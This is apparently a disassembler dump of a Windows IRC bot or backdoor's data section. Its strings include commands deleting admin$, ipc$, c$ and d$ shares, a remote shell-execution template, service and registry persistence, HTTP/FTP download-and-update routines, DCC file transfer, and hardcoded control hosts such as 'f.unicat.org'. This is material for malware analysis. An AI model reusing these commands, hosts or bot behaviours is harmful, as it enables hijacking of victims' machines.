dword_4423D0	dd 19930520h, 5, 4423F0h, 5 dup(0)		dd 0FFFFFFFFh, 43C3F0h,	0FFFFFFFFh, 43C3F8h, 0FFFFFFFFh
		dd 43C400h, 0FFFFFFFFh,	43C408h, 0FFFFFFFFh, 43C410h, 2	dup(0)
dword_442420	dd 19930520h, 0Ch, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C430h,	0
		dd offset loc_43C438
		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 5, 43C460h, 0FFFFFFFFh
		dd 43C468h, 0FFFFFFFFh,	43C470h, 0FFFFFFFFh, 43C478h, 0FFFFFFFFh
		dd 43C480h, 0FFFFFFFFh,	43C488h, 4 dup(0)
		dd 19930520h, 2, 4424D0h, 1, 4424E0h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4424F8h, 4	dup(0)
		dd offset loc_41EE2C
		align 10h
dword_442510	dd 19930520h, 0Ah, 442530h, 5 dup(0)		dd 0FFFFFFFFh, 43C4D0h,	0
		dd offset loc_43C4DB
		dd 1, 43C4E6h, 2, 43C4F1h, 3, 43C4FCh, 3, 43C507h, 3, 43C512h
		dd 3, 43C51Dh, 3, 43C528h, 3, 43C533h, 4 dup(0)
dword_442590	dd 19930520h, 2, 4425B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C570h,	0
		dd offset loc_43C578
		dd 2 dup(0)
dword_4425C8	dd 19930520h, 3, 4425E8h, 5 dup(0)		dd 0FFFFFFFFh, 43C590h,	0FFFFFFFFh, 43C59Bh, 1,	43C5A6h
		dd 2 dup(0)
dword_442608	dd 19930520h, 1, 442628h, 5 dup(0)		dd 0FFFFFFFFh, 43C5D0h,	2 dup(0)
dword_442638	dd 19930520h, 2, 442658h, 5 dup(0)		dd 0FFFFFFFFh, 43C5F0h,	0
		dd offset loc_43C5FB
		align 10h
dword_442670	dd 19930520h, 16h, 442690h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	0
		dd offset loc_43C62B
		dd 0
		dd offset loc_43C633
		dd 0
		dd offset loc_43C63B
		dd 3, 43C643h, 4, 43C64Bh, 0
		dd offset loc_43C653
		dd 6, 43C65Bh, 7, 43C663h, 0
		dd offset loc_43C66B
		dd 9, 43C673h, 0Ah, 43C67Bh, 0
		dd offset loc_43C683
		dd 0Ch,	43C68Bh, 0Dh, 43C693h, 0
		dd offset loc_43C69B
		dd 0Fh,	43C6A3h, 0
		dd offset loc_43C6AB
		dd 11h,	43C6B3h, 0
		dd offset loc_43C6BB
		dd 13h,	43C6C3h, 13h, 43C6CBh, 6 dup(0)
dword_442758	dd 19930520h, 6, 442778h, 5 dup(0)		dd 0FFFFFFFFh, 43C710h,	0
		dd offset loc_43C718
		dd 1, 43C723h, 2, 43C72Eh, 3, 43C739h, 4, 43C744h, 2 dup(0)
dword_4427B0	dd 19930520h, 1, 4427D0h, 5 dup(0)		dd 0FFFFFFFFh, 43C770h,	2 dup(0)
dword_4427E0	dd 19930520h, 1, 442800h, 5 dup(0)		dd 0FFFFFFFFh, 43C7A0h,	2 dup(0)
dword_442810	dd 19930520h, 5, 442830h, 5 dup(0)		dd 0FFFFFFFFh, 43C7D0h,	0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh
		dd 43C7E0h, 0FFFFFFFFh,	43C7E8h, 0FFFFFFFFh, 43C7F0h, 2	dup(0)
dword_442860	dd 19930520h, 0Bh, 442880h, 5 dup(0)		dd 0FFFFFFFFh, 43C810h,	0FFFFFFFFh, 43C81Bh, 0FFFFFFFFh
		dd 43C831h, 0FFFFFFFFh,	43C83Ch, 0FFFFFFFFh, 43C847h, 0FFFFFFFFh
		dd 43C852h, 0FFFFFFFFh,	43C85Dh, 0FFFFFFFFh, 43C868h, 0FFFFFFFFh
		dd 43C873h, 0FFFFFFFFh,	43C87Eh, 0FFFFFFFFh, 43C826h, 4	dup(0)
dword_4428E8	dd 19930520h, 1, 442908h, 5 dup(0)		dd 0FFFFFFFFh, 43C8C0h,	2 dup(0)
dword_442918	dd 19930520h, 5, 442938h, 5 dup(0)		dd 0FFFFFFFFh, 43C8E0h,	0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh
		dd 43C8F0h, 0FFFFFFFFh,	43C8F8h, 0FFFFFFFFh, 43C900h, 2	dup(0)
dword_442968	dd 19930520h, 15h, 442988h, 5 dup(0)		dd 0FFFFFFFFh, 43C920h,	0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh
		dd 43C933h, 0FFFFFFFFh,	43C93Bh, 0FFFFFFFFh, 43C943h, 0FFFFFFFFh
		dd 43C94Bh, 0FFFFFFFFh,	43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh
		dd 43C966h, 0FFFFFFFFh,	43C96Eh, 0FFFFFFFFh, 43C976h, 0FFFFFFFFh
		dd 43C981h, 0FFFFFFFFh,	43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh
		dd 43C999h, 0FFFFFFFFh,	43C9A1h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh
		dd 43C9B4h, 0FFFFFFFFh,	43C9BCh, 0FFFFFFFFh, 43C9C4h, 0FFFFFFFFh
		dd 43C9CCh, 6 dup(0)
dword_442A48	dd 19930520h, 1, 442A68h, 5 dup(0)		dd 0FFFFFFFFh, 43CA10h,	2 dup(0)
dword_442A78	dd 19930520h, 1, 442A98h, 5 dup(0)		dd 0FFFFFFFFh, 43CA30h,	2 dup(0)
dword_442AA8	dd 19930520h, 5, 442AC8h, 5 dup(0)		dd 0FFFFFFFFh, 43CA50h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retf	43h
; ---------------------------------------------------------------------------
		dd 1, 43CA63h, 2, 43CA6Eh, 3, 43CA79h, 2 dup(0)
dword_442AF8	dd 19930520h, 5, 442B18h, 5 dup(0)		dd 0FFFFFFFFh, 43CAA0h,	0
		dd offset loc_43CAA8
		dd 1, 43CAB3h, 2, 43CABEh, 3, 43CAC9h, 2 dup(0)
dword_442B48	dd 19930520h, 1, 442B68h, 5 dup(0)		dd 0FFFFFFFFh, 43CAF0h,	2 dup(0)
dword_442B78	dd 19930520h, 1, 442B98h, 5 dup(0)		dd 0FFFFFFFFh, 43CB10h,	2 dup(0)
dword_442BA8	dd 19930520h, 1, 442BC8h, 5 dup(0)		dd 0FFFFFFFFh, 43CB30h,	2 dup(0)
dword_442BD8	dd 19930520h, 1, 442BF8h, 5 dup(0)		dd 0FFFFFFFFh, 43CB50h,	2 dup(0)
dword_442C08	dd 19930520h, 1, 442C28h, 5 dup(0)		dd 0FFFFFFFFh, 43CB70h,	2 dup(0)
dword_442C38	dd 19930520h, 1, 442C58h, 5 dup(0)		dd 0FFFFFFFFh, 43CB90h,	2 dup(0)
dword_442C68	dd 19930520h, 1, 442C88h, 5 dup(0)		dd 0FFFFFFFFh, 43CBB0h,	2 dup(0)
dword_442C98	dd 19930520h, 6, 442CB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CBD0h,	0
		dd offset loc_43CBD8
		dd 1, 43CBE3h, 2, 43CBEEh, 3, 43CBF9h, 4, 43CC04h, 2 dup(0)
dword_442CF0	dd 19930520h, 6, 442D10h, 5 dup(0)		dd 0FFFFFFFFh, 43CC30h,	0
		dd offset loc_43CC38
		dd 1, 43CC43h, 2, 43CC4Eh, 3, 43CC59h, 4, 43CC64h, 2 dup(0)
dword_442D48	dd 19930520h, 3, 442D68h, 5 dup(0)		dd 0FFFFFFFFh, 43CC90h,	0
		dd offset loc_43CC98
		dd 1, 43CCA6h, 2 dup(0)
dword_442D88	dd 19930520h, 16h, 442DA8h, 5 dup(0)		dd 0FFFFFFFFh, 43CCD0h,	0
		dd offset loc_43CCDB
		dd 1, 43CCE6h, 2, 43CCF1h, 2, 43CCFCh, 2, 43CD07h, 2, 43CD12h
		dd 6, 43CD1Dh, 2, 43CD28h, 8, 43CD33h, 2, 43CD3Eh, 0Ah
		dd 43CD49h, 2, 43CD54h,	0Ch, 43CD5Fh, 0Dh, 43CD6Ah, 0Eh
		dd 43CD75h, 0Fh, 43CD80h, 0Fh, 43CD8Bh,	0Fh, 43CD96h, 0Fh
		dd 43CDA1h, 0Fh, 43CDACh, 0Fh, 43CDB7h,	6 dup(0)
dword_442E70	dd 19930520h, 1, 442E90h, 5 dup(0)		dd 0FFFFFFFFh, 43CE10h,	2 dup(0)
dword_442EA0	dd 19930520h, 1, 442EC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CE30h,	2 dup(0)
dword_442ED0	dd 19930520h, 1, 442EF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CE50h,	2 dup(0)
dword_442F00	dd 19930520h, 1, 442F20h, 5 dup(0)		dd 0FFFFFFFFh, 43CE70h,	2 dup(0)
dword_442F30	dd 19930520h, 1, 442F50h, 5 dup(0)		dd 0FFFFFFFFh, 43CE90h,	2 dup(0)
dword_442F60	dd 19930520h, 2, 442F80h, 1, 442F90h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA8h, 4	dup(0)
		dd offset loc_42C244
		align 10h
dword_442FC0	dd 19930520h, 2, 442FE0h, 1, 442FF0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443008h, 4	dup(0)
		dd offset loc_42C321
		align 10h
dword_443020	dd 19930520h, 3, 443040h, 5 dup(0)		dd 0FFFFFFFFh, 43CED0h,	0
		dd offset loc_43CED8
		dd 1, 43CEE0h, 2 dup(0)
dword_443060	dd 19930520h, 1, 443080h, 5 dup(0)		dd 0FFFFFFFFh, 43CF10h,	2 dup(0)
dword_443090	dd 19930520h, 1, 4430B0h, 5 dup(0)		dd 0FFFFFFFFh, 43CF30h,	2 dup(0)
dword_4430C0	dd 19930520h, 1, 4430E0h, 5 dup(0)		dd 0FFFFFFFFh, 43CF50h,	2 dup(0)
dword_4430F0	dd 19930520h, 1, 443110h, 5 dup(0)		dd 0FFFFFFFFh, 43CF70h,	2 dup(0)
dword_443120	dd 19930520h, 1, 443140h, 5 dup(0)		dd 0FFFFFFFFh, 43CF90h,	2 dup(0)
dword_443150	dd 19930520h, 6, 443170h, 5 dup(0)		dd 0FFFFFFFFh, 43CFB0h,	0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh
		dd 43CFC0h, 0FFFFFFFFh,	43CFC8h, 0FFFFFFFFh, 43CFD0h, 0FFFFFFFFh
		dd 43CFD8h, 2 dup(0)
dword_4431A8	dd 19930520h, 16h, 4431C8h, 5 dup(0)		dd 0FFFFFFFFh, 43D000h,	0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh
		dd 43D013h, 0FFFFFFFFh,	43D01Bh, 0FFFFFFFFh, 43D023h, 0FFFFFFFFh
		dd 43D02Eh, 0FFFFFFFFh,	43D036h, 0FFFFFFFFh, 43D03Eh, 0FFFFFFFFh
		dd 43D046h, 0FFFFFFFFh,	43D051h, 0FFFFFFFFh, 43D059h, 0FFFFFFFFh
		dd 43D061h, 0FFFFFFFFh,	43D06Ch, 0FFFFFFFFh, 43D074h, 0Dh
		dd 43D07Ch, 0Eh, 43D084h, 0Eh, 43D08Ch,	0Eh, 43D094h, 0Eh
		dd 43D09Ch, 12h, 43D0A4h, 13h, 43D0ACh,	0Eh, 43D0ACh, 6	dup(0)
dword_443290	dd 19930520h, 2, 4432B0h, 5 dup(0)		dd 0FFFFFFFFh, 43D0F0h,	0FFFFFFFFh, 43D0F8h, 2 dup(0)
dword_4432C8	dd 19930520h, 2, 4432E8h, 5 dup(0)		dd 0FFFFFFFFh, 43D110h,	0
		dd offset loc_43D11B
		align 10h
dword_443300	dd 19930520h, 1, 443320h, 5 dup(0)		dd 0FFFFFFFFh, 43D140h,	2 dup(0)
dword_443330	dd 19930520h, 2, 443350h, 5 dup(0)		dd 0FFFFFFFFh, 43D160h,	0FFFFFFFFh, 43D168h, 2 dup(0)
dword_443368	dd 19930520h, 0Ah, 443388h, 5 dup(0)		dd 0FFFFFFFFh, 43D180h,	0FFFFFFFFh, 43D18Bh, 0FFFFFFFFh
		dd 43D196h, 0FFFFFFFFh,	43D1A1h, 0FFFFFFFFh, 43D1ACh, 0FFFFFFFFh
		dd 43D1B7h, 0FFFFFFFFh,	43D1C2h, 0FFFFFFFFh, 43D1CDh, 0FFFFFFFFh
		dd 43D1D8h, 0FFFFFFFFh,	43D1E3h, 34Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_40FE30:loc_41070Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C30+86Fo
					; sub_404C30+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C30+82Bo
					; sub_404C30+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404600:loc_4046DFo
					; sub_404600+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404600+75o
					; sub_40FE30:loc_410819o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D030+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C30+D72o
		align 8
aN:					; DATA XREF: sub_404C30+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C30+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C30+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C30+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C30+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C30+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C30+1A3o
					; sub_404C30+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066A0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406850+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406850+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406850:loc_40694Bo
a2003		db '2003',0             ; DATA XREF: sub_406850+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406850+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406850+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406850+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406850+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406850+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406850+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ECF0+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:0040879Co ...
dword_4447F8	dd 2Eh							; ___:0041B2AAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP',0 ; DATA XREF: sub_4077E0+403o
		dd 0
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 4
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 4
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444830	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAydassklfsdsew	db 'aydassklfsdsewrlkwel',0 ; DATA XREF: sub_4077E0+337o
		align 10h
aIgxdfdfds_com	db 'igxdfdfds.com',0    ; DATA XREF: sub_4077E0+326o
		align 10h
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
off_444868	dd offset byte_582323	; DATA XREF: sub_4077E0+307o
dword_44486C	dd 23582323h, 23ha9890		db '9890',0             ; DATA XREF: sub_4077E0+29Bo
		align 4
aF_unicat_org	db 'f.unicat.org',0     ; DATA XREF: sub_4077E0+283o
		align 10h
off_444890	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4448B0	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4448D8	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409650+21o
					; ___:0040AA41o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B750+3Fo
					; sub_40B7D0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B86Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B914o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC2Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB47o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA81o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B9F4o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4D0+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4D0+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4D0+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4D0+327o
		align 10h
dword_444A00	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4D0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4D0+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4D0+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4D0+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4D0+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4D0+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC80+1B1o
		dd 0
asc_444AD4:				; DATA XREF: sub_40CC80+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D030+115o
		align 4
aS_1		db '%s\*',0             ; DATA XREF: sub_40D030+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D549o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D650+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D650+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D650+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D650+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D650+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC10+4D3o
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC10+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE30+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE30+21o
					; sub_40F050+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F501o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F444o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F349o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F29Do
		align 10h
		dd 0
asc_444C54	db ' :',0               ; DATA XREF: sub_40FE30+E2Bo
					; sub_40FE30+1118o ...
		align 4
asc_444C58:				; DATA XREF: sub_40FE30+CACo
					; sub_40FE30+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FE30:loc_4107F8o
					; sub_40FE30:loc_410A87o
aS_2		db ' -s',0              ; DATA XREF: sub_40FE30:loc_4107CFo
					; sub_40FE30:loc_410A66o
asc_444C64:				; DATA XREF: sub_40FE30+871o
					; sub_40FE30:loc_410AA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_40FE30+7CCo
					; sub_40FE30+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FE30+65Do
					; sub_40FE30+732o ...
		align 4
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FE30+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 8
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FE30+2C4o
					; sub_4122D0+91o ...
		align 8
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+4E3o
		align 4
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_411C00+386o
					; sub_426070+12Do ...
		align 10h
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+CBo
					; sub_412590+8Fo
		align 10h
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_4122D0:loc_4123DBo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_4122D0+104o
		align 4
a_		db '. ',0               ; DATA XREF: sub_4122D0+CAo
					; sub_4122D0+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_4122D0+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FE7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412F94o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F3Ao
		align 4
asc_444D08:				; DATA XREF: ___:loc_412F23o
		dw 3Ch
		unicode	0, <>,0
asc_444D0C:				; DATA XREF: ___:loc_412F0Co
		dw 3Eh
		unicode	0, <>,0
asc_444D10	db '==',0               ; DATA XREF: ___:loc_412EF5o
		align 4
asc_444D14	db '!=',0               ; DATA XREF: ___:00412EE1o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138A0+B7o
		align 10h
aSS_6		db '%s: %s',0           ; DATA XREF: sub_419300+321o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_419300+2F9o
		align 10h
aSD_1		db '%s:%d',0            ; DATA XREF: sub_419300+284o
					; sub_419300+2ADo
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_419300+222o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_419300+217o
		dd 0
off_444D54	dd offset dword_504354	; DATA XREF: sub_419300+152o
					; ___:0042C5F2o ...
dword_444D58	dd 2D464544h, 504354h, 0					; sub_419300+140o
dword_444D64	dd 652Dh	dword_444D68	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 10h
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DA4	db 1			; DATA XREF: sub_41A390r
		align 4
dword_444DA8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444DF4:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E08	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54	dd 63257325h, 0						; sub_41F860+E5o
dword_444E5C	dd 72h		dword_444E60	dd 30h							; sub_424920+327o
dword_444E64	dd 3039h	dword_444E68	dd 383631h	dword_444E6C	dd 323931h	dword_444E70	dd 3631h	dword_444E74	dd 323731h	dword_444E78	dd 3031h	off_444E7C	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E80	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E84	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E88	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E8C	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_444EC8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_444FCC	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC	dd 6469706Bh, 7325203Ah, 0dword_444FE8	dd 203A736Bh, 7325hdword_444FF0	dd 202E6425h, 7325202Fh, 0dword_444FFC	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_445078:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
